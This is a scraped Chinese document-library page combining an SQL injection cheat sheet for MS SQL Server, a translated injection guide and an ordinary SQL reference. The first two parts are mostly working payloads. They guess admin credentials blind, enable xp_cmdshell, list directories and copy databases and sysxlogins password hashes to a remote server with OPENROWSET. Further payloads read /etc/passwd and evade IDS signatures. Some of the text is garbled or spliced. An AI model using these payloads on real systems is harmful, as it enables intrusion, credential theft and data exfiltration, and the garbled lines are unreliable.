久久99精品久久久久久琪琪,久久人人爽人人爽人人片亞洲,熟妇人妻无码中文字幕,亚洲精品无码久久久久久久

SQL注射語句的經(jīng)典總結

時間:2019-05-12 12:41:41下載本文作者:會員上傳
簡介:寫寫幫文庫小編為你整理了多篇相關的《SQL注射語句的經(jīng)典總結》,但愿對你工作學習有幫助,當然你在寫寫幫文庫還可以找到更多《SQL注射語句的經(jīng)典總結》。

第一篇:SQL注射語句的經(jīng)典總結

SQL注射語句的經(jīng)典總結

SQL注射語句的經(jīng)典總結 SQL注射語句

1.判斷有無注入點

';and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..and 0<>(select count(*)from *)

and 0<>(select count(*)from admin)---判斷是否存在admin這張表

3.猜帳號數(shù)目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數(shù)目就是1個

and 0<(select count(*)from admin)and 1<(select count(*)from admin)

4.猜解字段名稱 在len()括號里面加上我們想到的字段名稱.and 1=(select count(*)from admin where len(*)>0)--

and 1=(select count(*)from admin where len(用戶字段名稱name)>0)and 1=(select count(*)from admin where len(密碼字段名稱password)>0)

5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*)from admin where len(*)>0)

and 1=(select count(*)from admin where len(name)>6)錯誤

and 1=(select count(*)from admin where len(name)>5)正確 長度是6 and 1=(select count(*)from admin where len(name)=6)正確

and 1=(select count(*)from admin where len(password)>11)正確

and 1=(select count(*)from admin where len(password)>12)錯誤 長度是12 and 1=(select count(*)from admin where len(password)=12)正確

6.猜解字符

and 1=(select count(*)from admin where left(name,1)='a')---猜解用戶帳號的第一位

and 1=(select count(*)from admin where left(name,2)='ab')---猜解用戶帳號的第二位

就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

and 1=(select top 1 count(*)from Admin where Asc(mid(pass,5,1))=51)--這個查詢語句可以猜解中文的用戶和密碼.只要把后面的數(shù)字換成中文的ASSIC碼就OK.最后把結果再轉換成字符.看服務器打的補丁=出錯了打了SP4補丁

and 1=(select @@VERSION)--

看數(shù)據(jù)庫連接賬號的權限,返回正常,證明是服務器角色sysadmin權限。

and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--

判斷連接數(shù)據(jù)庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA)

and 'sa'=(Select System_user)--and user_name()='dbo'--and 0<>(select user_name()--看xp_cmdshell是否刪除

and 1=(Select count(*)FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--

xp_cmdshell被刪除,恢復,支持絕對路徑的恢復

;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--;EXEC master.dbo.sp_addextendedproc

'xp_cmdshell','c:inetpubwww.tmdps.cn;Address=192.168.0.1,1433;', 'select * from table'

3.復制目標主機的整個數(shù)據(jù)庫insert所有遠程表到本地表。

基本語法:

insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1')select * from table2

這行語句將目標主機上table2表中的所有數(shù)據(jù)復制到遠程數(shù)據(jù)庫中的table1表中。實際運用中適當修改連接字符串的IP地址和端口,指向需要的地方,比如:

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table1')select * from table2 insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')

select * from master.dbo.sysdatabases

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysobjects')

select * from user_database.dbo.sysobjects insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _syscolumns')

select * from user_database.dbo.syscolumns 復制數(shù)據(jù)庫:

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table1')select * from database..table1 insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table2')select * from database..table2

復制哈西表(HASH)登錄密碼的hash存儲于sysxlogins中。方法如下:

insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from

_sysxlogins')select * from database.dbo.sysxlogins 得到hash之后,就可以進行暴力破解。

遍歷目錄的方法: 先創(chuàng)建一個臨時表:temp

';create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

';insert temp exec master.dbo.xp_availablemedia;--獲得當前所有驅動器

';insert into temp(id)exec master.dbo.xp_subdirs 'c:';--獲得子目錄列表

';insert into temp(id,num1)exec master.dbo.xp_dirtree 'c:';--獲得所有子目錄的目錄樹結構,并寸入temp表中

';insert into temp(id)exec master.dbo.xp_cmdshell 'type c:webindex.asp';--查看某個文件的內(nèi)容

';insert into temp(id)exec master.dbo.xp_cmdshell 'dir c:';--

';insert into temp(id)exec master.dbo.xp_cmdshell 'dir c: *.asp /s/a';--

';insert into temp(id)exec master.dbo.xp_cmdshell 'cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc'

';insert into temp(id,num1)exec master.dbo.xp_dirtree 'c:';--(xp_dirtree適用權限PUBLIC)

寫入表:

語句1:and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--語句2:and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--

語句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--語句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--語句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--語句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--語句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--語句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--語句9:and 1=(Select IS_MEMBER('db_owner'));--把路徑寫到表中去:

;create table dirs(paths varchar(100), id int)--;insert dirs exec master.dbo.xp_dirtree 'c:'--and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--;create table dirs1(paths varchar(100), id int)--;insert dirs exec master.dbo.xp_dirtree 'e:web'--and 0<>(select top 1 paths from dirs1)--把數(shù)據(jù)庫備份到網(wǎng)頁目錄:下載

;declare @a sysname;set @a=db_name();backup database @a to disk='e:webdown.bak';--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85))T order by id desc)

and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1)from sysobjects)參看相關表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1)-=-wscript.shell example-=-declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

';declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--declare @o int, @f int, @t int, @ret int declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while(@ret = 0)begin print @line

exec @ret = sp_oamethod @f, 'readline', @line out end

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:inetpubwwwrootfoo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL, ''

declare @o int, @ret int

exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528

waitfor delay '00:00:05'

';declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--xp_dirtree適用權限PUBLIC exec master.dbo.xp_dirtree 'c:'

返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100), id int)

建表,這里建的表是和上面xp_dirtree相關連,字段相等、類型相同。

insert dirs exec master.dbo.xp_dirtree 'c:'

只要我們建表與存儲進程返回的字段相定義相等就能夠執(zhí)行!達到寫表的效果,一步步達到我們想要的信息!

第二篇:SQL注射技術總結文檔

天馬行空●狼技術小組[1.S.T ](http://www.tmdps.cn--------------

翻譯:浪跡天.Iceskysl@1.S.T

Iceskysl_At_www.tmdps.cn

1.Introduction.2.Testing for vulnerabilities.3.Gathering Information.4.Data types.5.Grabbing Passwords.6.Create DB accounts.7.MySQL OS Interaction.8.Server name and config.9.Retrieving VNC password from registry.10.IDS Signature Evasion.11.mySQL Input Validation Circumvention using Char().12.IDS Signature Evasion using comments.13.Strings without quotes.1.When a box only has port 80 open, it's almost certain the admin will patch his server, The best thing to turn to is web attacks.Sql Injection is one of the most common web attacks.You attack the web application,(ASP, JSP, PHP, CGI..etc)rather than the webserver or the services running on the OS.Sql injection is a way to trick using a qurey or command as a input via webpages,most websites take parameters from the user like username and passwrod or even their emails.They all use Sql querys.2.First of you should start with something simple.Pass:' or 1=1--' having 1=1--' SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablename')--' or 1 in(select @@version)--' and 1 in(select servername from master.sysservers)--

9.Retrieving VNC password from registry.-';declare @out binary(8)@rootkey = 'HKEY_LOCAL_MACHINE',@value_name='password',select cast(@out as bigint)as x into TEMP--' OR 'something' = 'some'+'thing'' OR 'something' like 'some%'' OR 'text' > 't'' OR 2 BETWEEN 1 and 3

11.mySQL Input Validation Circumvention using Char().Inject without quotes(string = “%”):--> ' or username like char(37);Inject with quotes(string=“root”):--> ' union select * from users where login = char(114,111,111,116);load files in unions(string = “/etc/passwd”):-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;Check for existing files(string = “n.ext”):-->' and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12.IDS Signature Evasion using comments.-->'/**/OR/**/1/**/=/**/1-->Username:' or 1/*-->Password:*/=1---->UNI/**/ON SEL/**/ECT-->(Oracle)

';EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'-->(MS SQL)

';EXEC('SEL' + 'ECT US' + 'ER')

13.Strings without quotes.--> INSERT INTO Users(Login, Password, Level)VALUES(char(0x70)+ char(0x65)+ char(0x74)+ char(0x65)+ char(0x72)+ char(0x70)+ char(0x65)+ char(0x74)+ char(0x65)+ char(0x72), 0x64)

Greets: kaneda, modem, wildcard, #black and pulltheplug.8

第三篇:SQL語句經(jīng)典總結

SQL語句經(jīng)典總結

一、入門

1、說明:創(chuàng)建數(shù)據(jù)庫

CREATE DATABASE database-name2、說明:刪除數(shù)據(jù)庫 drop database dbname

3、說明:備份sql server---創(chuàng)建 備份數(shù)據(jù)的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:mssql7backupMyNwind_1.dat'---開始 備份

BACKUP DATABASE pubs TO testBack

4、說明:創(chuàng)建新表

create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)根據(jù)已有的表創(chuàng)建新表:

A:create table tab_new like tab_old(使用舊表創(chuàng)建新表)

B:create table tab_new as select col1,col2? from tab_old definition only

5、說明:刪除新表 drop table tabname

6、說明:增加一個列

Alter table tabname add column col type

注:列增加后將不能刪除。DB2中列加上后數(shù)據(jù)類型也不能改變,唯一能改變的是增加varchar類型的長度。

7、說明:添加主鍵: Alter table tabname add primary key(col)說明:刪除主鍵: Alter table tabname drop primary key(col)

8、說明:創(chuàng)建索引:create [unique] index idxname on tabname(col?.)刪除索引:drop index idxname

注:索引是不可更改的,想更改必須刪除重新建。

9、說明:創(chuàng)建視圖:create view viewname as select statement 刪除視圖:drop view viewname

10、說明:幾個簡單的基本的sql語句 選擇:select * from table1 where 范圍

插入:insert into table1(field1,field2)values(value1,value2)刪除:delete from table1 where 范圍

更新:update table1 set field1=value1 where 范圍

查找:select * from table1 where field1 like ’%value1%’---like的語法很精妙,查資料!排序:select * from table1 order by field1,field2 [desc] 總數(shù):select count as totalcount from table1 求和:select sum(field1)as sumvalue from table1平均:select avg(field1)as avgvalue from table1 最大:select max(field1)as maxvalue from table1 最小:select min(field1)as minvalue from table1

11、說明:幾個高級查詢運算詞 A: UNION 運算符

UNION 運算符通過組合其他兩個結果表(例如 TABLE1 和 TABLE2)并消去表中任何重復行而派生出一個結果表。當 ALL 隨 UNION 一起使用時(即 UNION ALL),不消除重復行。兩種情況下,派生表的每一行不是來自 TABLE1 就是來自 TABLE2。B: EXCEPT 運算符

EXCEPT 運算符通過包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重復行而派生出一個結果表。當 ALL 隨 EXCEPT 一起使用時(EXCEPT ALL),不消除重復行。

C: INTERSECT 運算符

INTERSECT 運算符通過只包括 TABLE1 和 TABLE2 中都有的行并消除所有重復行而派生出一個結果表。當 ALL 隨 INTERSECT 一起使用時(INTERSECT ALL),不消除重復行。注:使用運算詞的幾個查詢結果行必須是一致的。

12、說明:使用外連接

A、left(outer)join:

左外連接(左連接):結果集幾包括連接表的匹配行,也包括左連接表的所有行。SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c B:right(outer)join:

右外連接(右連接):結果集既包括連接表的匹配連接行,也包括右連接表的所有行。C:full/cross(outer)join:

全外連接:不僅包括符號連接表的匹配行,還包括兩個連接表中的所有記錄。

12、分組:Group by: 一張表,一旦分組 完成后,查詢后只能得到組相關的信息。

組相關的信息:(統(tǒng)計信息)count,sum,max,min,avg 分組的標準)

在SQLServer中分組時:不能以text,ntext,image類型的字段作為分組依據(jù) 在selecte統(tǒng)計函數(shù)中的字段,不能和普通的字段放在一起;

13、對數(shù)據(jù)庫進行操作:

分離數(shù)據(jù)庫: sp_detach_db;附加數(shù)據(jù)庫:sp_attach_db 后接表明,附加需要完整的路徑名 14.如何修改數(shù)據(jù)庫的名稱:

sp_renamedb 'old_name', 'new_name'

二、提升

1、說明:復制表(只復制結構,源表名:a 新表名:b)(Access可用)法一:select * into b from a where 1<>1(僅用于SQlServer)法二:select top 0 * into b from a

2、說明:拷貝表(拷貝數(shù)據(jù),源表名:a 目標表名:b)(Access可用)insert into b(a, b, c)select d,e,f from b;

3、說明:跨數(shù)據(jù)庫之間表的拷貝(具體數(shù)據(jù)使用絕對路徑)(Access可用)insert into b(a, b, c)select d,e,f from b in ‘具體數(shù)據(jù)庫’ where 條件 例子:..from b in '“&Server.MapPath(”.“)&”data.mdb“ &”' where..2

4、說明:子查詢(表名1:a 表名2:b)select a,b,c from a where a IN(select d from b)或者: select a,b,c from a where a IN(1,2,3)

5、說明:顯示文章、提交人和最后回復時間

select a.title,a.username,b.adddate from table a,(select max(adddate)adddate from table where table.title=a.title)b

6、說明:外連接查詢(表名1:a 表名2:b)select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

7、說明:在線視圖查詢(表名1:a)select * from(SELECT a,b,c FROM a)T where t.a > 1;

8、說明:between的用法,between限制查詢數(shù)據(jù)范圍時包括了邊界值,not between不包括 select * from table1 where time between time1 and time2 select a,b,c, from table1 where a not between 數(shù)值1 and 數(shù)值2

9、說明:in 的使用方法

select * from table1 where a [not] in(‘值1’,’值2’,’值4’,’值6’)

10、說明:兩張關聯(lián)表,刪除主表中已經(jīng)在副表中沒有的信息

delete from table1 where not exists(select * from table2 where table1.field1=table2.field1)

11、說明:四表聯(lián)查問題:

select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where.....12、說明:日程安排提前五分鐘提醒

SQL: select * from 日程安排 where datediff('minute',f開始時間,getdate())>5

13、說明:一條sql 語句搞定數(shù)據(jù)庫分頁

select top 10 b.* from(select top 20 主鍵字段,排序字段 from 表名 order by 排序字段 desc)a,表名 b where b.主鍵字段 = a.主鍵字段 order by a.排序字段 具體實現(xiàn):

關于數(shù)據(jù)庫分頁:

declare @start int,@end int @sql nvarchar(600)set @sql=’select top’+str(@end-@start+1)+’+from top’+str(@str-1)+’Rid from T where Rid>-1)’ exec sp_executesql @sql

注意:在top后不能直接跟一個變量,所以在實際應用中只有這樣的進行特殊的處理。Rid為一個標識列,如果top后還有具體的字段,這樣做是非常有好處的。因為這樣可以避免 top的字段如果是邏輯索引的,查詢的結果后實際表中的不一致(邏輯索引中的數(shù)據(jù)有可能和數(shù)據(jù)表中的不一致,而查詢時如果處在索引則首先查詢索引)

T where rid not in(select

14、說明:前10條記錄

select top 10 * form table1 where 范圍

15、說明:選擇在每一組b值相同的數(shù)據(jù)中對應的a最大的記錄的所有信息(類似這樣的用法可以用于論壇每月排行榜,每月熱銷產(chǎn)品分析,按科目成績排名,等等.)select a,b,c from tablename ta where a=(select max(a)from tablename tb where tb.b=ta.b)

16、說明:包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重復行而派生出一個結果表

(select a from tableA)except(select a from tableB)except(select a from tableC)

17、說明:隨機取出10條數(shù)據(jù)

select top 10 * from tablename order by newid()

18、說明:隨機選擇記錄 select newid()

19、說明:刪除重復記錄

1),delete from tablename where id not in(select max(id)from tablename group by col1,col2,...)2),select distinct * into temp from tablename delete from tablename

insert into tablename select * from temp 評價: 這種操作牽連大量的數(shù)據(jù)的移動,這種做法不適合大容量但數(shù)據(jù)操作

3),例如:在一個外部表中導入數(shù)據(jù),由于某些原因第一次只導入了一部分,但很難判斷具體位置,這樣只有在下一次全部導入,這樣也就產(chǎn)生好多重復的字段,怎樣刪除重復字段 alter table tablename--添加一個自增列

add column_b int identity(1,1)delete from tablename where column_b not in(select max(column_b)from tablename group by column1,column2,...)alter table tablename drop column column_b

20、說明:列出數(shù)據(jù)庫里所有的表名

select name from sysobjects where type='U' // U代表用戶

21、說明:列出表里的所有的列名

select name from syscolumns where id=object_id('TableName')

22、說明:列示type、vender、pcs字段,以type字段排列,case可以方便地實現(xiàn)多重選擇,類似select 中的case。

select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end)FROM tablename group by type 顯示結果:

type vender pcs 電腦 A 1

電腦 A 1 光盤 B 2 光盤 A 2 手機 B 3 手機 C 3

23、說明:初始化表table1 TRUNCATE TABLE table1

24、說明:選擇從10到15的記錄

select top 5 * from(select top 15 * from table order by id asc)table_別名 order by id desc

三、技巧 1、1=1,1=2的使用,在SQL語句組合時用的較多

“where 1=1” 是表示選擇全部 “where 1=2”全部不選,如:

if @strWhere!='' begin set @strSQL = 'select count(*)as Total from [' + @tblName + '] where ' + @strWhere end else begin set @strSQL = 'select count(*)as Total from [' + @tblName + ']' end 我們可以直接寫成 錯誤!未找到目錄項。

set @strSQL = 'select count(*)as Total from [' + @tblName + '] where 1=1 安定 '+ @strWhere

2、收縮數(shù)據(jù)庫--重建索引 DBCC REINDEX DBCC INDEXDEFRAG--收縮數(shù)據(jù)和日志 DBCC SHRINKDB DBCC SHRINKFILE

3、壓縮數(shù)據(jù)庫

dbcc shrinkdatabase(dbname)

4、轉移數(shù)據(jù)庫給新用戶以已存在用戶權限

exec sp_change_users_login 'update_one','newname','oldname' go

5、檢查備份集

RESTORE VERIFYONLY from disk='E:dvbbs.bak'

6、修復數(shù)據(jù)庫

ALTER DATABASE [dvbbs] SET SINGLE_USER GO DBCC CHECKDB('dvbbs',repair_allow_data_loss)WITH TABLOCK GO ALTER DATABASE [dvbbs] SET MULTI_USER GO

7、日志清除 SET NOCOUNT ON DECLARE @LogicalFileName sysname, @MaxMinutes INT, @NewSize INT

USE tablename--要操作的數(shù)據(jù)庫名

SELECT @LogicalFileName = 'tablename_log',--日志文件名 @MaxMinutes = 10,--Limit on time allowed to wrap log.@NewSize = 1--你想設定的日志文件的大小(M)Setup / initialize DECLARE @OriginalSize int SELECT @OriginalSize = size FROM sysfiles WHERE name = @LogicalFileName SELECT 'Original Size of ' + db_name()+ ' LOG is ' + CONVERT(VARCHAR(30),@OriginalSize)+ ' 8K pages or ' + CONVERT(VARCHAR(30),(@OriginalSize*8/1024))+ 'MB' FROM sysfiles WHERE name = @LogicalFileName CREATE TABLE DummyTrans(DummyColumn char(8000)not null)

DECLARE @Counter INT, @StartTime DATETIME, @TruncLog VARCHAR(255)SELECT @StartTime = GETDATE(), @TruncLog = 'BACKUP LOG ' + db_name()+ ' WITH TRUNCATE_ONLY' DBCC SHRINKFILE(@LogicalFileName, @NewSize)EXEC(@TruncLog)--Wrap the log if necessary.WHILE @MaxMinutes > DATEDIFF(mi, @StartTime, GETDATE())--time has not expired

AND @OriginalSize =(SELECT size FROM sysfiles WHERE name = @LogicalFileName)AND(@OriginalSize * 8 /1024)> @NewSize BEGIN--Outer loop.SELECT @Counter = 0 WHILE((@Counter < @OriginalSize / 16)AND(@Counter < 50000))BEGIN--update INSERT DummyTrans VALUES('Fill Log')DELETE DummyTrans SELECT @Counter = @Counter + 1 END EXEC(@TruncLog)END SELECT 'Final Size of ' + db_name()+ ' LOG is ' + CONVERT(VARCHAR(30),size)+ ' 8K pages or ' + CONVERT(VARCHAR(30),(size*8/1024))+ 'MB' FROM sysfiles WHERE name = @LogicalFileName DROP TABLE DummyTrans SET NOCOUNT OFF

8、說明:更改某個表

exec sp_changeobjectowner 'tablename','dbo'

9、存儲更改全部表

CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch @OldOwner as NVARCHAR(128), @NewOwner as NVARCHAR(128)AS DECLARE @Name as NVARCHAR(128)DECLARE @Owner as NVARCHAR(128)DECLARE @OwnerName as NVARCHAR(128)DECLARE curObject CURSOR FOR select 'Name' = name, 'Owner' = user_name(uid)from sysobjects where user_name(uid)=@OldOwner order by name OPEN curObject FETCH NEXT FROM curObject INTO @Name, @Owner WHILE(@@FETCH_STATUS=0)BEGIN if @Owner=@OldOwner begin set @OwnerName = @OldOwner + '.' + rtrim(@Name)

exec sp_changeobjectowner @OwnerName, @NewOwner end--select @name,@NewOwner,@OldOwner FETCH NEXT FROM curObject INTO @Name, @Owner END close curObject deallocate curObject GO

10、SQL SERVER中直接循環(huán)寫入數(shù)據(jù) declare @i int set @i=1 while @i<30 begin insert into test(userid)values(@i)set @i=@i+1 end 案例:

有如下表,要求就裱中所有沒有及格的成績,在每次增長0.1的基礎上,使他們剛好及格:

Name score Zhangshan 80

Lishi 59 Wangwu 50

Songquan 69

while((select min(score)from tb_table)<60)begin update tb_table set score =score*1.01 where score<60

if(select min(score)from tb_table)>60 break else continue end

數(shù)據(jù)開發(fā)-經(jīng)典

1.按姓氏筆畫排序:

Select * From TableName Order By CustomerName Collate Chinese_PRC_Stroke_ci_as //從少到多2.數(shù)據(jù)庫加密: select encrypt('原始密碼')

select pwdencrypt('原始密碼')select pwdcompare('原始密碼','加密后密碼')= 1--相同;否則不相同 encrypt('原始密碼')select pwdencrypt('原始密碼')select pwdcompare('原始密碼','加密后密碼')= 1--相同;否則不相同 3.取回表中字段: declare @list varchar(1000), @sql nvarchar(1000)select @list=@list+','+b.name from sysobjects a,syscolumns b where a.id=b.id and a.name='表A' set @sql='select '+right(@list,len(@list)-1)+' from 表A' exec(@sql)4.查看硬盤分區(qū): EXEC master..xp_fixeddrives 5.比較A,B表是否相等: if(select checksum_agg(binary_checksum(*))from A)=(select checksum_agg(binary_checksum(*))from B)print '相等' else print '不相等' 6.殺掉所有的事件探察器進程: DECLARE hcforeach CURSOR GLOBAL FOR SELECT 'kill '+RTRIM(spid)FROM master.dbo.sysprocesses WHERE program_name IN('SQL profiler',N'SQL 事件探查器')EXEC sp_msforeach_worker '?' 7.記錄搜索: 開頭到N條記錄

Select Top N * From 表

N到M條記錄(要有主索引ID)Select Top M-N * From 表 Where ID in(Select Top M ID From 表)Order by ID Desc---N到結尾記錄

Select Top N * From 表 Order by ID Desc 案例

例如1:一張表有一萬多條記錄,表的第一個字段 RecID 是自增長字段,寫一個SQL語句,找出表的第31到第40個記錄。

select top 10 recid from A where recid not in(select top 30 recid from A)分析:如果這樣寫會產(chǎn)生某些問題,如果recid在表中存在邏輯索引。

select top 10 recid from A where??是從索引中查找,而后面的select top 30 recid from A則在數(shù)據(jù)表中查找,這樣由于索引中的順序有可能和數(shù)據(jù)表中的不一致,這樣就導致查詢到的不是本來的欲得到的數(shù)據(jù)。解決方案

1,用order by select top 30 recid from A order by ricid 如果該字段不是自增長,就會出現(xiàn)問題 2,在那個子查詢中也加條件:select top 30 recid from A where recid>-1

例2:查詢表中的最后以條記錄,并不知道這個表共有多少數(shù)據(jù),以及表結構。

set @s = 'select top 1 * from T

where pid not in(select top ' + str(@count-1)+ ' pid from T)' print @s

exec sp_executesql

@s 9:獲取當前數(shù)據(jù)庫中的所有用戶表

select Name from sysobjects where xtype='u' and status>=0 10:獲取某一個表的所有字段

select name from syscolumns where id=object_id('表名')select name from syscolumns where id in(select id from sysobjects where type = 'u' and name = '表名')兩種方式的效果相同

11:查看與某一個表相關的視圖、存儲過程、函數(shù)

select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%' 12:查看當前數(shù)據(jù)庫中所有存儲過程

select name as 存儲過程名稱 from sysobjects where xtype='P' 13:查詢用戶創(chuàng)建的所有數(shù)據(jù)庫

select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa')或者

select dbid, name AS DB_NAME from master..sysdatabases where sid <> 0x01 14:查詢某一個表的字段和數(shù)據(jù)類型

select column_name,data_type from information_schema.columns where table_name = '表名' 15:不同服務器數(shù)據(jù)庫之間的數(shù)據(jù)操作--創(chuàng)建鏈接服務器

exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '遠程服務器名或ip地址 ' exec sp_addlinkedsrvlogin 'ITSV ', 'false ',null, '用戶名 ', '密碼 '--查詢示例

select * from ITSV.數(shù)據(jù)庫名.dbo.表名--導入示例

select * into 表 from ITSV.數(shù)據(jù)庫名.dbo.表名--以后不再使用時刪除鏈接服務器

exec sp_dropserver 'ITSV ', 'droplogins '

--連接遠程/局域網(wǎng)數(shù)據(jù)(openrowset/openquery/opendatasource)--

1、openrowset--查詢示例

select * from openrowset('SQLOLEDB ', 'sql服務器名 ';'用戶名 ';'密碼 ',數(shù)據(jù)庫名.dbo.表名)

--生成本地表

select * into 表 from openrowset('SQLOLEDB ', 'sql服務器名 ';'用戶名 ';'密碼 ',數(shù)據(jù)庫名.dbo.表名)

--把本地表導入遠程表

insert openrowset('SQLOLEDB ', 'sql服務器名 ';'用戶名 ';'密碼 ',數(shù)據(jù)庫名.dbo.表名)select *from 本地表--更新本地表 update b set b.列A=a.列A from openrowset('SQLOLEDB ', 'sql服務器名 ';'用戶名 ';'密碼 ',數(shù)據(jù)庫名.dbo.表名)as a inner join 本地表 b on a.column1=b.column1--openquery用法需要創(chuàng)建一個連接--首先創(chuàng)建一個連接創(chuàng)建鏈接服務器

exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '遠程服務器名或ip地址 '--查詢

select * FROM openquery(ITSV, 'SELECT * FROM 數(shù)據(jù)庫.dbo.表名 ')--把本地表導入遠程表

insert openquery(ITSV, 'SELECT * FROM 數(shù)據(jù)庫.dbo.表名 ')select * from 本地表--更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 數(shù)據(jù)庫.dbo.表名 ')as a inner join 本地表 b on a.列A=b.列A

--

3、opendatasource/openrowset SELECT * FROM opendatasource('SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陸名;Password=密碼 ').test.dbo.roy_ta--把本地表導入遠程表

insert opendatasource('SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陸名;Password=密碼 ').數(shù)據(jù)庫.dbo.表名 select * from 本地表

SQL Server基本函數(shù)

SQL Server基本函數(shù) 1.字符串函數(shù) 長度與分析用

1,datalength(Char_expr)返回字符串包含字符數(shù),但不包含后面的空格

2,substring(expression,start,length)取子串,字符串的下標是從“1”,start為起始位置,length為字符串長度,實際應用中以len(expression)取得其長度

3,right(char_expr,int_expr)返回字符串右邊第int_expr個字符,還用left于之相反

4,isnull(check_expression , replacement_value)如果check_expression為空,則返回replacement_value的值,不為空,就返回check_expression字符操作類

5,Sp_addtype 自定義數(shù)據(jù)類型

例如:EXEC sp_addtype birthday, datetime, 'NULL' 6,set nocount {on|off} 使返回的結果中不包含有關受 Transact-SQL 語句影響的行數(shù)的信息。如果存儲過程中包含的一些語句并不返回許多實際的數(shù)據(jù),則該設置由于大量減少了網(wǎng)絡流量,因此可顯著提高性能。SET NOCOUNT 設置是在執(zhí)行或運行時設置,而不是在分析時設置。

SET NOCOUNT 為 ON 時,不返回計數(shù)(表示受 Transact-SQL 語句影響的行數(shù))。SET NOCOUNT 為 OFF 時,返回計數(shù)

常識

在SQL查詢中:from后最多可以跟多少張表或視圖:256 在SQL語句中出現(xiàn) Order by,查詢時,先排序,后取

在SQL中,一個字段的最大容量是8000,而對于nvarchar(4000),由于nvarchar是Unicode碼。

SQLServer2000同步復制技術實現(xiàn)步驟

一、預備工作

1.發(fā)布服務器,訂閱服務器都創(chuàng)建一個同名的windows用戶,并設置相同的密碼,做為發(fā)布快照文件夾的有效訪問用戶--管理工具--計算機管理--用戶和組--右鍵用戶

--新建用戶

--建立一個隸屬于administrator組的登陸windows的用戶(SynUser)2.在發(fā)布服務器上,新建一個共享目錄,做為發(fā)布的快照文件的存放目錄,操作: 我的電腦--D: 新建一個目錄,名為: PUB--右鍵這個新建的目錄--屬性--共享

